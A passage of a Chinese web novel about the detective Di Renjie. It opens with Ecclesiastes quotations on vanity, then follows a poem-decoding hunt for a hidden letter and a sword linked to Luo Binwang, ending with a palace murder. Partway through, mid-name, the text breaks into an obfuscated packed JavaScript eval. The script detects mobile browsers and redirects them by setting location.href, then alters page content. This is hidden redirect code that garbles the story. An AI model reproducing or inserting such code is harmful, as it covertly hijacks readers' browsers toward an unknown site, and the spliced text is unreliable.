曾劳碌的人为份。这也是虚空,也是大患。人在日光之下劳碌累心,在他一切的劳碌上得着什么呢?因为他日日忧虑,他的劳苦成为愁烦,连夜间心也不安。这也是虚空。” “凡事都有定期,天下万务都有定时。生有时,死有时;栽种有时,拔出所栽种的也有时;杀戮有时,医治有时;拆毁有时,建造有时;哭有时,笑有时;哀恸有时,跳舞有时;……” “因为世人遭遇的,兽也遭遇,所遭遇的都是一样;这个怎样死,那个也怎样死,气息都是一样。人不能强于兽,都是虚空。都归一处,都是出于尘土,也都归于尘土。” “我又转念,见日光之下所行的一切欺压。看哪,受欺压的流泪,且无人安慰;欺压他们的有势力,也无人安慰他们。因此,我赞叹早已死的死人,胜过那还活着的活人。并且我以为那未曾生的,就是未见过日光之下恶事的,比这两等人更强。我又见人为一切的劳碌和各样灵巧的工作就被邻舍嫉妒。这也是虚空,也是捕风。” “人的劳碌都为口腹,心里却不知足。这样看来,智慧人比愚昧人有什么长处呢?” “人一生虚度的日子,就如影儿经过;谁知道什么与他有益呢?谁能告诉他身后在日光之下有什么事呢?” “名誉强如美好的膏油;人死的日子胜过人生的日子。往遭丧的家去,强如往宴乐的家去,因为死是众人的结局,活着也必将这事放在心上。忧愁强如喜笑,因为面带愁容,终必使心喜乐。智慧人的心,在遭丧之家;愚昧人的心,在快乐之家。听智慧人的责备,强如听愚昧人的歌唱。愚昧人的笑声,好像锅下烧荆棘的爆声,这也是虚空。” “遇亨通的日子,你当喜乐;遭患难的日子,你当思想。” “有义人行义,反致灭亡;有恶人行恶,倒享长寿。这都是我在虚度之日中所见过的。不要行义过分,也不要过于自逞智慧,何必自取败亡呢?不要行恶过分,也不要为人愚昧,何必不到期而死呢?” “我见恶人埋葬,归入坟墓;又见行正直事的离开圣地,在城中被人忘记。这也是虚空。因为断定罪名,不立刻施刑,所以世人满心作恶。罪人虽然作恶百次,倒享长久的年日。” “世上有一件虚空的事,就是义人所遭遇的,反照恶人所行的;又有恶人所遭遇的,反照义人所行的。我说,这也是虚空。我就称赞快乐,原来人在日光之下,莫强如吃喝快乐。” “在日光之下所行的一切事上,有一件祸患,就是众人所遭遇的都是一样,并且世人的心充满了恶。活着的时候心里狂妄,后来就归死人那里去了。与一切活人相连的,那人还有指望,因为活着的狗比死了的狮子更强。活着的人知道必死,死了的人毫无所知,也不再得赏赐,他们的名无人纪念。他们的爱,他们的恨,他们的嫉妒,早都消灭了。在日光之下所行的一切事上,他们永不再有份了。” “凡你手所当做的事,要尽力去做,因为在你所必去的阴间,没有工作,没有谋算,没有知识,也没有智慧。我又转念:见日光之下,快跑的未必能赢,力战的未必得胜,智慧的未必得粮食,明哲的未必得资财,灵巧的未必得喜悦;所临到众人的,是在乎当时的机会。原来人也不知道自己的定期;鱼被恶网圈住,鸟被网罗捉住,祸患忽然临到的时候,世人陷在其中,也是如此。” “我见日光之下有一样智慧,据我看乃是广大。就是有一小城,其中的人数稀少,有大君王来攻击,修筑营垒,将城围困。城中有一个贫穷的智慧人,他用智慧救了那城,却没有人纪念那穷人。我就说:智慧胜过勇力;然而那贫穷人的智慧被人藐视,他的话也无人听从。宁可在安静之中听智慧人的言语,不听掌管愚昧人的喊声。” “人活多年,就当快乐多年;然而也当想到黑暗的日子,因为这日子必多,所要来的都是虚空。” “著书多,没有穷尽;读书多,身体疲倦。” “传道者说:虚空的虚空,凡事都是虚空。” 人生的确是虚空的,因为无论我们走哪一条路,最后都是殊途同归,回到了最初的起点。我们不知道自己从哪里来,又要到哪里去。人生就像一个旅途,走走停停,终究都要走到尽头。 47. 第四十七章 真相 边关之案一了,狄仁杰三人便不辞而别,自行去了。 三人遂乘舟,沿着水路径回洛阳。 这日,见江中一艘小船迎面而来,其上同样站着三人:一个是道士,一个是粗汉,还一个是书生。 狄仁杰、狄宁二人认了出来,正是上回冰湖之畔遇见的空虚道人、史不放、薛文三兄弟。 史不放道:“呵!冤家路窄!” 狄仁杰向三人作揖道:“几位,又见面了。” 空虚道人冷冷地道:“我们刚来,你们就要回去了?” 狄仁杰道:“案子都办完了,自然该回去了。” 空虚道人道:“你们是完了,我们还没呢。” 狄仁杰看了眼薛文,见他也正看向自己。 狄仁杰问他:“考得怎么样?” 薛文道:“多谢你们当时……给我留的碎银子。” 狄仁杰道:“没什么。” 薛文道:“我当时见到了以后,我本来想还给你们,可当时你们已经去得远了,我……” 狄仁杰微笑道:“那是给你用来做盘费的,不值多少。”又问:“后来你参加会试了没有?” 薛文苦笑道:“参加了。” 狄仁杰道:“考中了吗?” 史不放道:“嗐,甭提了。就三弟这么聪明,照样考不中。” 狄仁杰问缘故。 史不放道:“还不是那群贪官儿!” 薛文道:“我当时跟大哥二哥会面了,便赶着进京去了。后来到了考场……嗐,不说也罢。” 史不放道:“哼,那该死的考官,明目张胆的就索要贿赂!我三弟就这么落榜了。” 薛文道:“到京时,我已身无分文。我当时住不起店,也吃不起饭,便在街上待了几日。到考试那天,我昏昏沉沉的,好容易交上了卷子,那考官他……他问我要很多钱。我说我根本没钱了,他就低声跟我说:‘如今的官,没有一个是考上去的。你虽然有才,但是才终不如‘财’。所以只要没钱,你就别来考试了。’哼哼,我现在也明白了,十年寒窗,确实不如捐官。也罢,既然官场容不得我,那我便跟着大哥二哥,一起浪迹江湖好了。” 空虚道人微笑点头。 史不放笑道:“好兄弟!到时候我教你武功,咱们路见不平,拔刀相助!怎么样?” 薛文笑道:“好啊好啊,二哥肯教,小弟自然肯学的!” 史不放哈哈大笑,薛文也哈哈笑。 薛文忽注意到,狄仁杰他们只三个人,不禁问道:“欸,怎么就你们三个啊?” 史不放也注意到了,道:“嗯?对啊,其余的呢?” 狄仁杰道:“走的走,去的去了。” 史不放道:“什么意思啊?” 薛文道:“他们……都去了?” 史不放道:“去哪儿啦?” 狄仁杰点点头。 空虚道人道:“他们怎么死的?” 史不放道:“死啦?他们死啦?” 狄仁杰道:“我不想多说了。” 空虚道人眯眼沉思。 史不放道:“如果他们是好人,又为什么会死呢?看来他们果然不是好人,所以上天才会报应。是不是?” 狄宁道:“那为什么好人都死了,恶人却还活着呢?” 韩忠义大叫:“我们不是好人,但我们也不是恶人!” 空虚道人道:“狄仁杰,我想再问你一个问题,希望你如实回答。” 狄仁杰道:“你问吧。” 空虚道人看了他半晌,道:“你这辈子,有没有做过亏心事?” 狄仁杰呆看着江面,没有回答。 空虚道人又问:“你有没有做过亏心事?” 狄仁杰抬眼望着他,道:“有。” 空虚道人道:“很多吗?” 狄仁杰道:“应该不少。” 空虚道人道:“严重吗?” 狄仁杰道:“影响了一生。” 空虚道人道:“是你伤害了谁吗?” 狄仁杰点头道:“是的。” 空虚道人道:“那你伤害的这个人,是谁?” 狄仁杰道:“我自己。” 说着,眼眶湿了。 空虚道人道:“除了你自己,还有别人吗?” 狄仁杰道:“没有了。” 空虚道人听了,微微一笑,点了点头。 遂放狄仁杰三人走了。 史不放道:“大哥,好不容易找着了,怎么给放啦?” 空虚道人道:“三弟说得对,他不像坏人。” 渡过一路走来的路,狄仁杰感慨万千。 一路无话。 这日过了湖,来到了对岸,面前便是五湖镇的后山了。 这是狄仁杰几人去年出了洛阳以后,来到的第一个市镇。 狄仁杰三人呆了呆,便上山去了。 一时上了山顶,见风景甚好,可以看到镇里的街上人来人往。 此刻三人的旁边还耸立着一座塔,也没多高,只有三层楼。 塔的门上横着一匾,名为“寒峰塔”。 狄仁杰道:“我们进去看看。” 三人遂入来。 只见里面皆是木制,显已颇旧,踩在地上会发出咯吱咯吱的响声。 墙角里都结满了蜘蛛网,有的地方也都生霉了。 狄仁杰道:“应该很久没人来了。” 狄宁道:“这塔一直就在山顶上。” 三人遂上到了塔顶,于塔内皆未见有何摆设。 这塔的第三楼,比前两楼还要小,却有一扇很大的窗,可以看到外面的风景。 三人来到窗前,向外眺望。 只见最前面是一片密林,后面隐约便是城墙。 三人此时站在山的最高处、塔的最顶端,因此视野广阔,能看到许多人看不到的景象。 这窗外的风景是朝西边的方向,看到的正是神都洛阳。 城墙之后,许多靠前的民宅府邸皆被遮住了,却可以望见远处的一大片皇宫。 皇宫的后边,是洛阳城郊处的后山,延绵不绝。 而离得最近的风景,便是窗外相连着的五湖镇群峰,如青嶂一般掩映四周。 蓝天之下,诸多高低远近之物当中,从窗户直望过去,能看见洛阳城的城墙之上,似乎凸出了一块,像个尖尖的塔。 狄仁杰注意到,那不是城墙上的东西,而是靠近城墙、城内的一座高楼。 这座楼显得如此突兀,然它的本身却也并非最高,却因它正好身在了它所在之处,竟比此刻从窗户望出去所看见的所有东西都要高。 五湖镇的诸峰虽也高,却只在此刻视线的四周,并不在正前方,因此并未挡住视线。 那遮住一长条官道的密林虽亦颇宽长,却只在城墙的面前便止住了,只稍微遮掩了些许而已。 当然,那楼还是比城墙要略高些的。至于其周遭府邸,大多是比城墙要矮的,所以更是完全地被城墙遮住了,有一些跟城墙的高度差不多的,也只能是看到一点点的屋顶,不比那楼突出。 还有远处皇宫的殿阁更是非常之高,却如其后诸多远山一般,皆离得太远了。 哪怕再高之物,一离得远,从视觉上看来,也都自然而然地显得矮了。 于是前之密林城墙,后之殿阁后山,从此刻的窗户望去,也都尽成为了那楼之陪衬,使其独自傲立其中,成为天地间最高之物。 狄仁杰还认出了那楼,共四层,乃洛阳城中最高的茶楼之一,名为“桂花茶楼”。 此楼素常生意兴隆,尤其于京都之中,更是闻名遐迩,无人不晓。 楼里虽各种茶叶皆有,然最好的莫过于其桂花茶,芳香四溢,馥郁非常,实乃茶中之上等佳品。 不论是贩夫走卒,还是王孙贵族,都曾来茶楼里坐过。 狄仁杰也曾去过,因此认得此楼。 然之前却从未注意过它的存在,更不似此时此刻,正眼看到的便是它,并且是那最夺目的一物。 狄仁杰将眼前的这一切景象联想起来,不由得想到了一首诗。 一首不久前还见过的诗。 这首诗便是在觉州城里的雷隐寺中,那接引他们的小和尚随缘引他们所到的那间小禅房里,墙壁上所挂的那幅用楷书写的诗,那首既无标题亦未署名的五言绝句: 孤峰千里寒,远眺落夕阳。 独吾近天立,层层桂花香。 狄仁杰这么一想,大吃一惊,道:“这么巧吗?” 狄宁道:“怎么啦老爷?” 狄仁杰将诗念给他听。 狄宁道:“这是首什么诗啊?” 狄仁杰道:“你忘啦,觉州城雷隐寺小禅房里,挂在墙上的那首啊。” 狄宁道:“小的当时没注意欸。跟这里景色有关吗?” 狄仁杰道:“你听啊,‘孤峰千里寒’,这句里面这‘寒峰’二字,跟我们现在所在的这个塔的名字,‘寒峰塔’……从觉州城到五湖镇,应该也有千里了吧……对,这就是第一句,还有那第二句,‘远眺落夕阳’,也就是从这寒峰塔,远眺洛阳……因为,从塔内的窗户望出去,洛阳正好就在西边。这个夕阳的‘夕’,谐音便是‘西’……好,第三句那就是,‘独吾近天立’,也就是,只有我靠近天……什么叫做靠近天?也就是,高。因为高,所以靠近天。那如果只是靠近天,这句中又何必多加一个‘立’字?立,便是立在地上。所以,一个立在地上之物,却是只有他靠近天,那么不是一个高耸的建筑,又会是什么?那么根据前两句,应当是从这个寒峰塔,以西边的方向看过去,看到的正好是洛阳,然后,便是它最高的建筑。那这最高的建筑又是什么呢?那个……桂花茶楼。那个茶楼因为城墙有一块缺口,于是顶端被露了出来。它跟周围的一切相比,都是最高的,并且是从寒峰塔这里望去。所以这最后一句,‘层层桂花香’,那个‘桂花’二字,指的不就是桂花茶楼嘛……听明白了没有?” 狄宁道:“没听太懂。” 狄仁杰道:“反正我觉得不是巧合,这首诗,还有这个景象,它们……是一回事吗?” 三人遂即日回都。 这日到了洛阳,进了城,并未惊动任何人。 狄宁道:“老爷,要不要告诉陛下?” 狄仁杰道:“我想先查查,这个‘桂花茶楼’。” 京城自是一片繁华,街道上行人络绎。 一时来至桂花茶楼,见进出之人源源不断。 三人也入了来,见里面四层楼高,都坐满了人,闹声喧哗。 伙计迎了出来。 狄仁杰道:“二楼可还有位置?” 伙计道:“好像还有几个座儿,跟我来。” 三人遂跟着上至二楼,见座位也都坐满了。 这时去了一桌,三人便坐了。 点了壶桂花茶,还有盘桂花馅的小甜饼。 狄宁问道:“老爷为什么选二楼?” 狄仁杰道:“或许,是‘层层’二字所指?” 狄宁道:“就算在第二层,可我们要找什么呀?” 狄仁杰道:“可能是什么物件吧。” 狄宁道:“物件怎么找啊?” 狄仁杰道:“可以先从诗里面找答案。” 狄宁道:“那只剩最后一句,‘层层桂花香’。这里面有答案?” 狄仁杰想道:“如果‘层层’是二楼,那么这里面还有什么呢?桂花茶楼……桂花……桂……‘跪’?跪在了地上?莫不是在地上?还有这‘层’字……共十五画。” 再看楼里的地板,大概由两百多块木片组成。 狄仁杰一想,一个‘层’是十五,两个‘层’如果是十五个十五了话…… 那么正好得二百二十五。 狄仁杰忙叫狄宁也帮着数数地上的木片,共有几块。 狄宁道:“好像有二百二十多。” 狄仁杰道:“二百二十五是不是?” 狄宁又数了数,道:“好像是啊。” 狄仁杰道:“二百二十五的一半……也就是一百一十二再加半个……” 叫狄宁:“找到那个一百一十二跟一百一十三之间的那块木片。” 一时找到了,竟就在旁边一桌的地上。 那桌上几人正说说笑笑的,完全没有注意到狄仁杰、狄宁二人正使劲地盯着他们的脚下看。 等了许久,见他们还是不走。 狄宁道:“老爷,我们跟他们换。” 狄仁杰道:“那样太惹人注目了。” 狄宁道:“那怎么办?” 狄仁杰道:“再等会儿。” 韩忠义则是越来越呆了,几乎不再说话。 又过了半日,见那桌的人总算走了,狄仁杰三人便忙移到了那桌。 只见自己本来坐的地方一下子又来新人了。 狄仁杰、狄宁二人故意将桌上的筷子拂落,一起蹲了下来,装作要来捡,却偷偷地将地上那块处于第一百一十二跟第一百一十三之间的小木片撬了开来,只见底下果真有一张折叠起来的纸。 狄仁杰、狄宁二人相顾一惊,赶紧将纸张取了出来,又复将木片盖上了。 伙计这时将他们点的桂花茶和桂花饼端了来,倒没注意到他们已经换了座位。 狄仁杰早将纸张收了起来,这时也顾不上吃喝,赶忙付了茶钱,便跟着狄宁二人出去了。 三人遂来到一偏僻的小巷子里,将那纸张取了出来,一同观看。 只见其上写道:“犹记光宅元年九月,吾等于扬州起兵,以匡扶中宗复位为名,共同反武。世人皆以为,将军当年若听劝于魏思温,以大军直指东都,则兵败之患可免矣。吾却谓之‘天意使然’,非人力可强者。想世间之事,本无完全,又何必过于执着耶?然毕竟众生难渡,既已身陷迷津,实亦难以自拔,又岂三言两语所能彻悟者哉?故有得便有失,有失复有得也。吾遂愿得此信者,能知名利之空幻,声色之虚无,以及大千世界诸般苦难之尤甚者,莫过于‘放不下’三个字。若读阅至此,汝执念犹然未消,吾便将此信物赐予,汝可自取之。然吾有言在先,待汝得之之时,汝所失却者,非止天下而已,亦丧汝身也。吾言尽于此。倘欲得之,唯须破此阵即可。勿要居心叵测,谨记。此为题:虚者实之,实者虚之。”也并未署名。 看罢,狄仁杰道:“光宅元年九月……” 狄宁道:“那是什么时候?” 狄仁杰道:“十四年前。” 狄宁道:“那时候我还小,不太懂。” 狄仁杰道:“这是徐敬业造反的日期。” 狄宁道:“这我倒是听说过的。” 狄仁杰道:“这封信……” 狄宁道:“到底是谁写的?” 狄仁杰道:“是当年也参与了谋反的人。” 狄宁道:“看这纸张也颇久了,时间应该挺长的。” 狄仁杰道:“是在兵败之后写的。” 狄宁道:“那线索怎么会出现在雷隐寺呢?” 狄仁杰自言自语道:“这是巧合,还是局?” 狄宁道:“像巧合,也像局。” 狄仁杰道:“上面说的‘信物’,不知是什么东西?” 狄宁道:“有题。” 狄仁杰看了会儿那题,微微一笑,道:“我明白了。” 狄宁道:“什么意思啊老爷?” 狄仁杰道:“你看啊,这题就八个字,‘虚者实之,实者虚之’。那么既然真的是假的,假的又是真的,那么到底谁真谁假?当然是这个题了。” 狄宁道:“这个题是假的?” 狄仁杰点头。 狄宁道:“那么真题在哪?” 狄仁杰道:“除了这个假题以外的所有部分,皆是真题。” 狄宁道:“也就是这个信的内容?” 狄仁杰道:“应该是的。” 狄宁道:“可这内容不是题啊。” 狄仁杰道:“你注意这里,‘倘欲得之,唯须破此阵即可。’” 狄宁道:“这句话就是题?” 狄仁杰道:“注意‘此阵’二字,指的是下面的内容。” 狄宁道:“那么是,‘勿要居心叵测,谨记’这句话了?” 狄仁杰道:“就是这句话。” 狄宁道:“可这也不像题啊。” 狄仁杰道:“这八个字,最后那个‘谨记’,强调的是前面‘勿要居心叵测’六个字。而‘勿要’二字,强调的又是‘居心叵测’四个字。那么这‘居心叵测’,是何等的重要啊。” 狄宁道:“这就是题吗?” 狄仁杰道:“是题。” 狄宁道:“那要怎么解呢?” 狄仁杰道:“你再想想那个‘虚者实之’,有没有明白什么?” 狄宁摇头道:“没明白。” 狄仁杰道:“都是反的。” 狄宁道:“我明白了,都是反的,那么这一句也是。” 狄仁杰微笑点头,道:“这一句反过来是什么?” 狄宁道:“光明磊落?” 狄仁杰道:“对。那么要找一件东西,要怎么找?” 狄宁道:“是要去什么地方?” 狄仁杰道:“就是要去一个地方。‘光明磊落’,洛阳城郊后山那边的‘光明寺’。” 狄宁道:“原来是这样!” 三人遂立刻前往光明寺一探究竟。 直至黄昏时分,三人仍在郊外行着,不见那光明寺的影子。 狄宁道:“洛阳城郊的草原倒是开阔。” 狄仁杰道:“这一排排青山,一朵朵晚霞,也都很美啊。” 狄宁道:“老爷幸苦了。” 狄仁杰道:“你也幸苦。” 韩忠义大叫:“我想死在这里!” 狄仁杰道:“好好活着,死了就什么都没了。” 韩忠义呆呆地道:“风景太美了,我想死。” 狄仁杰道:“正是因为美,才应该活下去。” 韩忠义道:“美的,都是假的。” 狄仁杰道:“为什么是假的呢?” 韩忠义道:“因为,它不真实。” 狄仁杰道:“为什么它不真实?” 韩忠义道:“它……属于这个世界。” 狄仁杰道:“这个世界不好吗?” 韩忠义道:“好,但是……不真实。” 狄仁杰道:“那么什么是真实的呢?” 韩忠义道:“我……我不知道。” 三人一时来至一废弃庙宇前,见其墙垣倾颓,显然朽败已久。 门上匾额题着“光明寺”三个字,几乎都看不清了。 三人遂入内一看,前院更是一片荒芜,杂草丛生。 狄宁道:“这里看起来很久没人来过了。” 狄仁杰道:“寺庙也像人,会渐渐地老去。不管从前再怎么辉煌,只要时间一长,也终将被人遗忘。”又道:“我们搜搜看。” 三人便在院子里搜了个遍,也未寻着有任何可疑之物。 遂都进庙去,在里面又乱搜了起来。 庙内亦是破败不堪,台上还有一尊将及一丈高的大佛。 狄仁杰指道:“你们看,台上有明显的积灰,可此处与其他地方不同。” 狄宁道:“好像积灰少一些。” 狄仁杰道:“是啊,没有其他地方那么厚。虽非近期所致,然定有一物摆放于此,因此才会比别处要薄。就在佛像的四周,我们找找。” 狄宁道:“老爷,有一本经书。” 狄仁杰看了道:“嗯,与薄灰之处相似,带有轻微的挪移迹象。” 狄宁方将经书拿起,便听得巨响,三人倒唬了一跳。 狄宁叫道:“老爷小心!” 只见大佛缓缓地转动,竟然自己挪开了,底下登时现出了一个暗道。 狄仁杰道:“看来是你拿走了经书的时候,触动了机关。” 狄宁将经书翻了翻,道:“老爷,经书里面有张纸。” 狄仁杰打开一看,是一幅图画,上面写着“巨石阵阵法”。 狄仁杰道:“巨石阵,非机关高手而不能为之。看来‘光明磊落’,早都说明了一切。” 狄宁道:“‘磊’字是三个‘石’字,又落下来,是想砸死我们。” 狄仁杰又看了会儿图,道:“忠义,你留下。狄宁,跟我下去。” 韩忠义倒是听话,呆呆地点了点头,便留下了。 狄宁道:“老爷,下面危险,还是我去吧。” 狄仁杰道:“你不识得此阵,我却认得。但是很危险,一步也不能走错,否则我们就死无葬身之地了。你一会儿下去,紧跟着我的步伐,一步也不要走错。明白了吗?” 狄宁点头。 狄仁杰道:“先点上烛火。” 狄宁拿了根残烛,半日方点上了。 这时天色已暗,庙内更是黑漆漆一片。 狄宁举着忽明忽暗的蜡烛,跟着狄仁杰慢慢地走下了暗道的石梯,来至下面。 狄仁杰再次嘱咐:“小心谨慎,用脚尖走路。” 狄宁遂跟着狄仁杰走了起来,都各自冷汗直流。 又小心翼翼地走了许久,方到了尽头。 只见一块石头上,摆放着一把剑。 二人近前一看,见那剑金光闪闪的,真是个宝物! 狄仁杰忽见剑柄上刻有一个“李”字,倒似哪里见过的…… 是秦夫人从远刺史的遗体上搜到的那封空白信笺,后来因浇茶水,浮现出了图文,画着一把剑柄上有“李”字的剑,旁边还有一行七个字“得此剑者得天下”。 狄仁杰这么一想,大吃一惊。 狄宁道:“这把剑……好像哪里见过。” 狄仁杰道:“是秦夫人那封信上的内容。” 狄宁道:“对对,老爷给我们看过。” 狄仁杰看着剑道:“怎么会这样?” 狄宁道:“老爷,这里危险,我们先拿着剑,出去再说。” 就要去拿,狄仁杰忙道:“别动!” 狄宁道:“怎么啦老爷?” 狄仁杰道:“这剑的下面有机关。” 狄宁道:“什么机关?” 狄仁杰道:“剑身一旦被挪开,下面的机关弹了上来,我们就要死无葬身之地了。” 狄宁道:“那怎么办?” 狄仁杰道:“把你身上的包裹拿下来。” 狄宁便拿下了包裹。 狄仁杰道:“取出一点碎银子留着。” 狄宁便取出了一大块银子。 狄仁杰道:“这个是有重量的,取个轻点的。” 狄宁便放了回去,又拿出了点碎银子。 狄仁杰接过了包裹,放在了摆剑的石头上,先将包裹推到轻轻地碰到了那剑,突然紧抓着包裹向那剑摆的地方猛推,那剑登时被推了出来,包裹又正好顶住了下面的机关。 狄仁杰这才松了口气,把剑拿了。 狄宁笑道:“老爷真聪明。” 狄仁杰道:“我们现在要回去了,你还要紧跟着我,不要踩错了。” 狄宁道:“小的知道。” 二人遂又走了半日,回到了上头。 只见韩忠义已经靠在柱子上睡着了。 二人便将经书摆回了原处,登时又是一声巨响,大佛缓缓地挪回去了。 韩忠义被吓醒,大叫了起来。 二人忙道:“是我们。” 韩忠义在烛光中一见,傻笑了笑,便不作声了。 狄仁杰这时将宝剑仔细地打量了一番,又拔了出来,突然从鞘内掉出了一张纸。 打开来一看,其上笔迹与茶楼里那张相同,云:“此剑乃唐高宗赐予尔父,兼赐‘李’姓。后尔兄又得此。光宅元年十一月,尔兄兵败,逃往润州。途中,又将之交于吾。当年之事,虽经数载,犹似眼前。征讨大军,血流漂杵,天下百姓,生灵涂炭,实吾断不忍见之惨状。如今想来,武则天虽为女流,但若能治得天下安定,保得黎庶无虞,又何不能为帝焉?正如孟轲之说,顺天者存,逆天者亡。何不顺天应人,以和为贵耶?想吾等皆为私心而起内乱,使得社稷不安,家国动荡。到头来,大唐江山竟是毁于吾等之手。汝以为,仅获此剑,便可助尔夺得天下乎?实为谬妄也!岂不知民心所向,胜之所往。自古以来,唯有得民心者,方能得天下。今武则天,既已得民心、顺民意,何不顺势而为,抛却图谋,令吾不朽之大唐,开创其千古盛世!当执念无踪时,汝便知:真正的天下,在汝心中。”并署名“骆观光”。 狄仁杰阅毕,道:“骆观光……骆宾王?” 狄宁道:“是大诗人骆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051993|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾王?” 狄仁杰道:“光宅元年,他跟徐敬业一同起兵,还亲自为讨伐武皇,撰写檄文。后来兵败了,听说他跟徐敬业,一齐被杀了。” 狄宁道:“可这上面写的,像是兵败之后。难道骆宾王没死?” 狄仁杰道:“尔父,尔兄……这是骆宾王写给徐敬业的弟弟的。” 狄宁道:“徐敬业的弟弟是谁?” 狄仁杰道:“好像叫做……徐敬猷?” 狄宁道:“他没死吗?” 狄仁杰道:“他……应该也死了。” 狄宁道:“那这把剑呢?” 狄仁杰道:“是先帝赐的信物……” 三人遂在庙里胡乱歇了一夜。 次日一早天方亮,便原路回城去了。 至洛阳时,已是午牌时分。 刚一进城,便听得一件骇人听闻之事:吏部侍郎何璧被杀了,而凶手竟是禁军主帅徐杰。 如今徐杰正被关押在刑部大牢,交付于大理寺审理。 狄仁杰一听,便大吃一惊,只因这两个名字实在是太耳熟了。 这时整个京城都在议论这个事件,狄仁杰便打听到,原来何璧昨夜就被杀了,家仆一进书房,便看见徐杰就蹲在尸首旁。 此乃家仆后来面对审问时所说:“我家主人很少跟徐主帅往来,几乎都没什么瓜葛。不知昨儿,怎么就聊上了。而且一聊啊,就聊了很久。从退朝以后,我家主人就邀徐主帅来府上,徐主帅也就来了。后来他们一直聊,聊了有整整一整天,一直就待在书房里,也都没有出来。我中间,有送过一次茶,主人家就叫我别再进来了。我当时看他们脸色,似乎都不太好,好像正在聊什么,很严肃的事儿。我也就不敢再进来了,也没有再进来。后来半夜,我见书房里的灯还亮着,我就去瞧了瞧,见里面没动静,我就敲了敲门,叫了两声,可还是没动静。我就慢慢地推开了门,然后就看见主人家,躺在了地上,显然已经死了。那个徐主帅,他就蹲在尸体旁,而且脸上很害怕的样子。我当时一见,我也怕了,我就立刻声张了起来,然后护卫就来了,就把徐主帅给带走了。徐主帅说他不是凶手,但我就是看到了他,而且那些护卫也看到了,还有很多家人,他们都瞧见了。整个屋子里,就他一个人。虽然后来也没找着凶器,但是何侍郎就死了嘛,也不知道是怎么死的。反正就死得莫名其妙,就是这样啦。” 狄仁杰还打听到,仵作验尸时,并未发现何璧身上有任何伤口。 人们遂猜测,他不是被毒死,就是因暴病身亡。 狄仁杰想了想,还有没有另外一种可能性? 这时叫狄宁:“你现在去见陛下,就说我已经回到了洛阳,等待她老人家的指示。并且如果有机会,我也想亲自见一见她老人家。” 狄宁听罢点头,道:“回来我到哪里见老爷?” 狄仁杰道:“就来我府上吧。” 狄宁道:“老爷是说‘狄府’?” 狄仁杰点头。 狄宁道:“知道了,那我先去。” 狄仁杰、韩忠义二人遂自往狄府而来。 经过东南街时,狄仁杰想到了张柬之,因为张府就在这条街上。 这条街并不长,却分做了好几段。 其中张府便是最靠近城门的一个大宅邸。 其他巷子胡同,皆是民宅商铺,排排相连。 狄仁杰又走了一时,靠近东街口时,发现整条街都是极窄狭的小巷子。 其实连巷子都算不上,只是建筑之间的缝隙而已。 狄仁杰想道:“彭大人被劫当夜,胡乐便是沿着这里跟踪歹徒的……” 一面想着,也沿着一条条缝隙缓缓走了起来。 有的缝隙大些的,确如巷子,还有的缝隙如薄纸的,几乎都看不见对面。 狄仁杰一面走着,一面往对面看。 韩忠义也呆呆地跟着他。 狄仁杰想象当夜如此漆黑,胡乐独自一人骑着马,踏着石板路上的雨水,悄悄地跟踪歹徒…… 突然来到了一处,巷子与缝隙俱断。 一片漆黑之中,两个劫持着彭大人的杀手也跟着隐没了。 虽然跟丢了一回,但再往前走,不久便复又跟上了。 这回望去,不止那两个杀手,还多了几个人。 有一辆马车在他们中间,彭大人似乎给装进了车里,但看不真切,只是听声音像是。 他们分好几路走了,便只有跟着那马车继续追踪。 有风的响动,有马蹄声,自己的马,还有对面的拉车的马。 马蹄踏着街上的积雨,车轮跟着滚动在石板路上。 万籁俱寂中,声音若隐若现,若有若无。 倏忽一大片死胡同挡住了视线,对面的景象再次变得模糊。 又跟丢了。 马车的声音还在不在? 街道上空无一人,只有黯淡的月光。 走啊,走啊,都是死路。 这时到了城门处,人和马车俱无…… 狄仁杰忽地睁开眼来,已经不知不觉地走到了城门处了。 狄仁杰想道:“如果当夜有马车,那如何城外的道路上并无车辙,只有马蹄印呢?这马车怎么会凭空消失了呢?还是说……”想着,不由得回头一看。 只见一大片死胡同的对面,正是东南街。 狄仁杰缓缓转过了身来,呆看着那行人络绎的街道。 就在这一瞬间,狄仁杰终于明白了这一切,却又难以置信地摇了摇头。 他已经知道了整个事件的真相。 这时风飕飕的呼啸,天上渐渐地变阴了。 狄仁杰二人来至狄府,方入大门,便见一人迎面而来,笑道:“狄公、韩将军,你们回来啦!”正是马肃。 狄仁杰倒吃了一惊,没想到他会出现在自己府上,便道:“是马肃啊。” 马肃笑道:“是我。” 狄仁杰道:“你什么时候来的?” 马肃道:“哦,狄公当时派我回洛阳,我便将书信交给了张阁老。张阁老帮我洗脱了冤屈,又答应将书信上交陛下。他叫我到狄公府上来等你,我便来了。” 狄仁杰道:“幸苦你了。” 马肃忙道:“狄公这说的是哪里话!若非狄公,我还是个通缉犯呢,我应当感谢狄公才是!”又问:“其他人呢?” 狄仁杰叹了口气,道:“都去了。” 马肃惊道:“什么叫去了?” 狄仁杰道:“反正回不来了。” 马肃一个一个地问过去,狄仁杰都只是摇摇头,并不说话。 马肃立时大哭起来,道:“怎么都去了呢……” 狄仁杰只是望着阴沉沉的天发呆,跟韩忠义一样。 马肃一时哭罢,忙叫狄仁杰二人进来。忽见狄仁杰拿着那把刻有“李”的剑,惊问:“狄公,这剑哪儿来的?” 狄仁杰便将来龙去脉告诉了他。 马肃道:“我就说哪里见过呢……” 正说着,狄宁回来了,与马肃相见,向狄仁杰道:“老爷,见过陛下了。” 狄仁杰道:“怎么样?” 狄宁看了一眼马肃,狄仁杰道:“马肃又不是外人,你尽管说。” 马肃忙道:“哦,那我退下……” 狄仁杰道:“你留下。” 马肃便留下了。 狄宁道:“老爷,陛下说,徐杰因为谋反,已经被砍头了。” 马肃惊道:“你说什么?” 狄宁道:“徐主帅已经被砍头了。” 马肃道:“徐杰这个案子今天早上才开始审理的,怎么会这么快?” 狄宁道:“陛下办事从来都是速战速决。” 马肃道:“徐杰已经死了吗?” 狄宁道:“我也不知道,但陛下说他死了。” 